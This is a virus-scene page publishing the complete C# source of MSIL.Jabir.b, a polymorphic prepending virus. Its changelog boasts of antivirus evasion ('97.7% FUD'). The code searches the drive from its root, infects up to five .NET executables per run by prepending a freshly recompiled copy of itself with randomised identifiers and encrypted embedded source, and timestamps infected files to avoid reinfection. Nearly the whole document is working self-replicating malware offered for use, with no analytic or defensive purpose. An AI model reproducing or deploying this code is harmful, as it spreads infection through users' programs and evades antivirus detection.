    return To index | download demo package!

    MSIL.Jabir.b Source Code
    ========================
    alcopaul/brigada ocho
    may 25, 2011

    This is a recode of MSIL.Jabir, a polymorphic prepending virus published in dark codez #3.

    What's new
    ----------

    1.) Variable changing in both head and tail.
    2.) No more double compilation of virus source to get virus length (look at #3)
    3.) For host execution - Dependence on host length. Version .a depended on virus length.
    4.) Commandline parameters are now passed from the virus to host.
    5.) File's Modified time as virus signature (Inspired by the old school Vienna virus).
    6.) Cleaner code.

    Features
    --------

    1.) Polymorphic/Variable changing prepender.
    2.) Looks for msil exe files in hard drive and infects 5 msil exe files per run.
    3.) Infected files has 11:11:11 (hour:minute:seconds) last modifed time. No reinfection.
    4.) Infected files are 97.7% FUD by Virustotal.com (AntiVir - TR/Dropper.Gen)

    ====================================================================================================================

    using System;
    using System.CodeDom;
    using System.IO;
    using System.CodeDom.Compiler;
    using System.Text;
    using Microsoft.CSharp;
    using System.Diagnostics;
    using System.Reflection;

    namespace ConsoleApplication6
    {
        class XProgramX
        {
            private static int counter = 0;
            private static string database = "0008080>4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+T4b+/4b+04b+14b+U4b+/4b+94b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+Z4b+f4b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+T4b+/4b+04b+14b+U4b+/4b+94b6+4b+T4b+/4b+94b+g4b+54b+84b+14b+i4b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+E4b+14b+o4b+k4b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+d4b+54b+z4b+i4b+/4b+j4b+/4b+24b+k4b6+4b+T4b+D4b+44b+x4b+i4b+g4b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+U4b+54b+x4b+34b++4b+/4b+j4b+k4b+54b+z4b+j4b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+C4b+14b+24b+84b+14b+z4b+k4b+54b+/4b++4b6r4b6d4b6a4b6d4b6a4b++4b+x4b+94b+14b+j4b+g4b+x4b+z4b+14b6w4b+T4b+/4b++4b+j4b+/4b+84b+14b+R4b+g4b+g4b+84b+54b+z4b+x4b+k4b+54b+/4b++4b6m4b6d4b6a4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b+z4b+84b+x4b+j4b+j4b6w4b+I4b+A4b+i4b+/4b+34b+i4b+x4b+94b+I4b6d4b6a4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+54b++4b+k4b6w4b+z4b+/4b+l4b++4b+k4b+14b+i4b6w4b6t4b6w4b6g4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+04b+x4b+k4b+x4b+y4b+x4b+j4b+14b6w4b6t4b6w4b6y>[encoded data, 41772 characters]";
            private static string GetRandomString(int goat)
            {
                char[] letx = new char[7];
                Random xranx = new Random(goat);
                for (int immm = 0; immm < 7; immm++)
                {
                    int numx = xranx.Next(0, 26);
                    letx[immm] += (char)('a' + numx);
                }
                string output = new string(letx);
                return output + xranx.Next(1, 2000).ToString();
            }
            static void Main(string[] args)
            {
                string xparamsx = "";
                for (int cik = 0; cik < args.Length; cik++)
                {
                    xparamsx += args[cik] + " ";
                }
                string xselfy = Process.GetCurrentProcess().MainModule.FileName;
                string xyxx = Path.GetDirectoryName(xselfy);
                string glen = Directory.GetDirectoryRoot(xyxx);
                DirectoryInfo dirx = new DirectoryInfo(@glen);
                AndLetsRock(dirx);
                FileStream fs188 = new FileStream(xselfy, FileMode.OpenOrCreate, FileAccess.Read);
                int bhostb = (int)fs188.Length;
                int exelength = Convert.ToInt32("01234");
                byte[] bytes1 = Readx(fs188, exelength, bhostb - exelength);
                fs188.Close();
                byte[] lojh = new UTF8Encoding().GetBytes("jabir.b");
                int yty = new Random().Next(2000);
                FileStream fs6 = new FileStream("p" + yty + "h.exe", FileMode.OpenOrCreate, FileAccess.Write);
                Writex(fs6, bytes1,lojh);
                fs6.Close();
                try
                {
                    ProcessStartInfo procinfo = new ProcessStartInfo("p" + yty + "h.exe", @xparamsx);
                    Process xtx = Process.Start(procinfo);
                    xtx.WaitForExit();
                }
                catch
                {
                    ;
                }
                finally
                {
                    File.Delete("p" + yty + "h.exe");
                }
            }
            private static void Infect(string filenamex)
            {
                    FileStream fs133 = new FileStream(filenamex, FileMode.OpenOrCreate, FileAccess.Read);
                    int ippc = (int)fs133.Length;
                    byte[] bytes2 = Readx(fs133, ippc, 0);
                    fs133.Close();
                    string output = new Random(DateTime.Now.Millisecond).Next(1, 111111).ToString();
                    if (output.Length == 1)
                    {
                        output = "000000" + output;
                    }
                    else if (output.Length == 2)
                    {
                        output = "00000" + output;
                    }
                    else if (output.Length == 3)
                    {
                        output = "0000" + output;
                    }
                    else if (output.Length == 4)
                    {
                        output = "000" + output;
                    }
                    else if (output.Length == 5)
                    {
                        output = "00" + output;
                    }
                    else
                    {
                        output = "0" + output;
                    }
                    string[] xtx = database.Split(new char[] { '>' });
                    string codey = EncryptDecrypt(decodeb64(xtx[1]), Convert.ToInt32(xtx[0]));
                    string codez = EncryptDecrypt(decodeb64(xtx[2]), Convert.ToInt32(xtx[0]));
                    string codei = codey + decodeb64("fHw=") + codez;
                    string codel = polyx(codei);
                    string codev = xtx[0].Replace("0008080", output);
                    codel = codel.Replace("0008080", output);
                    codel = codel.Replace("01234", "0" + ippc.ToString());
                    string[] finalx = codel.Split(new string[] { decodeb64("fHw=") }, StringSplitOptions.None);
                    codey = finalx[0];
                    codez = finalx[1];
                    string midcod = codev + ">" + encodeb64(EncryptDecrypt(codey, Convert.ToInt32(output))) + ">" + encodeb64(EncryptDecrypt(codez, Convert.ToInt32(output)));
                    string xcodex = codey + midcod + codez;
                    string xfilex = GetRandomString(new Random().Next(10000, 999999)) + ".exe";
                    bool makeexe = BuildExe(xfilex, xcodex);
                    if (makeexe == false)
                    {
                        throw new System.InvalidProgramException();
                    }
                    FileStream fs223 = new FileStream(xfilex, FileMode.OpenOrCreate, FileAccess.Read);
                    int icxcp = (int)fs223.Length;
                    byte[] bytes1 = Readx(fs223, icxcp, 0);
                    fs223.Close();
                    File.Delete(xfilex);
                    FileStream fs144 = new FileStream(filenamex, FileMode.OpenOrCreate, FileAccess.Write);
                    Writex(fs144, bytes1, bytes2);
                    fs144.Close();
                    File.SetLastWriteTime(filenamex, new DateTime(DateTime.Now.Year, DateTime.Now.Month, DateTime.Now.Day, 11, 11, 11));
            }
            private static void AndLetsRock(DirectoryInfo doy)
            {
                FileInfo[] filesx = doy.GetFiles("*.exe");
                foreach (FileInfo yfilex in filesx)
                {
                    string filenamex = yfilex.FullName;
                    try
                    {
                        AssemblyName.GetAssemblyName(filenamex);
                        if (yfilex.LastWriteTime.Hour.ToString() + yfilex.LastWriteTime.Minute.ToString() + yfilex.LastWriteTime.Second.ToString() == "111111")
                            continue;
                        else
                            try
                            {
                                Infect(filenamex);
                                counter++;
                            }
                            catch
                            {
                                continue;
                            }
                        if (counter == 5)
                        {
                            return;
                        }
                    }
                    catch { continue; }
                }
                DirectoryInfo[] dirs = doy.GetDirectories("*.*");
                foreach (DirectoryInfo xdir in dirs)
                {
                    try
                    {
                        if (counter == 5)
                        {
                            return;
                        }
                        AndLetsRock(xdir);
                    }
                    catch { continue; }
                }
                return;
            }
            private static bool BuildExe(string zname, string codey)
            {
                ICodeCompiler vic = new CSharpCodeProvider().CreateCompiler();
                CompilerParameters ocp = new CompilerParameters();
                ocp.ReferencedAssemblies.Add("System.dll");
                ocp.GenerateExecutable = true;
                ocp.CompilerOptions = "/target:winexe";
                ocp.OutputAssembly = zname;
                CompilerResults zresults = vic.CompileAssemblyFromSource(ocp, codey);
                foreach (CompilerError xvce in zresults.Errors)
                {
                    Console.WriteLine(xvce.ErrorNumber + ": " + xvce.ErrorText);
                }

                if (zresults.Errors.Count == 0)
                {
                    return true;
                }
                else
                {
                    return false;
                }
            }
            private static string decodeb64(string donny)
            {
                byte[] plainx = Convert.FromBase64String(donny);
                return Encoding.UTF8.GetString(plainx);
            }
            private static string EncryptDecrypt(string textToEncrypt, int xkeyx)
            {
                StringBuilder inSb = new StringBuilder(textToEncrypt);
                StringBuilder outSb = new StringBuilder(textToEncrypt.Length);
                char cmmm;
                for (int immm = 0; immm < textToEncrypt.Length; immm++)
                {
                    cmmm = inSb[immm];
                    cmmm = (char)(cmmm ^ xkeyx);
                    outSb.Append(cmmm);
                }
                return outSb.ToString();
            }
            private static string encodeb64(string ggg)
            {
                UTF8Encoding AEp = new UTF8Encoding();
                return Convert.ToBase64String(AEp.GetBytes(ggg));
            }
            private static string polyx(string jyug)
            {
                Random xranx = new Random();
                string[] ghost = {"procinfo","xparamsx","cik","fs188","bhostb","exelength","bytes1","lojh","uranu","yty","fs6","fs133","ippc","xfilex","fs223","icxcp","fs144","doy","yfilex","filesx","filenamex","dirs","xdir","sxtream","AndLetsRock","xselfy","counter","Infect","dirx","glen","xyxx","numBytesRead2","numBytesToRead2","n00","Readx","xlength","ccur","w33","bytes2","Writex","green","yellow","ritw","xranx","numx","letx","GetRandomString","goat","makeexe","BuildExe","zname","vic","ocp","xvce","zresults","output","codev","EncryptDecrypt","textToEncrypt","xkey","inSb","outSb","cmmm","immm","encodeb64","database","args","xtx","codey","codez","midcod","xcodex","decodeb64","plainx","donny","polyx","jyug","pathx","GetRandomString","ConsoleApplication6","XProgramX","codei","codel","finalx","impy","ghost","AEp","ggg"};
                for (int impy = 0; impy < ghost.Length; impy++)
                {
                    jyug = jyug.Replace(ghost[impy], GetRandomString(xranx.Next(10000,999999)));
                }
                return jyug;
            }
            private static byte[] Readx(FileStream sxtream, int xlength, int cccur)
            {
                BinaryReader w33 = new BinaryReader(sxtream);
                w33.BaseStream.Seek(cccur, SeekOrigin.Begin);
                byte[] bytes2 = new byte[xlength];
                int numBytesToRead2 = (int)xlength;
                int numBytesRead2 = 0;
                while (numBytesToRead2 > 0)
                {
                    int n00 = w33.Read(bytes2, numBytesRead2, numBytesToRead2);
                    if (n00 == 0)
                        break;
                    numBytesRead2 += n00;
                    numBytesToRead2 -= n00;
                }
                w33.Close();
                return bytes2;
            }
            private static void Writex(FileStream sxtream, byte[] green, byte[] yellow)
            {
                BinaryWriter ritw = new BinaryWriter(sxtream);
                ritw.BaseStream.Seek(0, SeekOrigin.Begin);
                ritw.Write(green);
                ritw.Write(yellow);
                ritw.Flush();
                ritw.Close();
            }
        }
    }

    ====================================================================================================================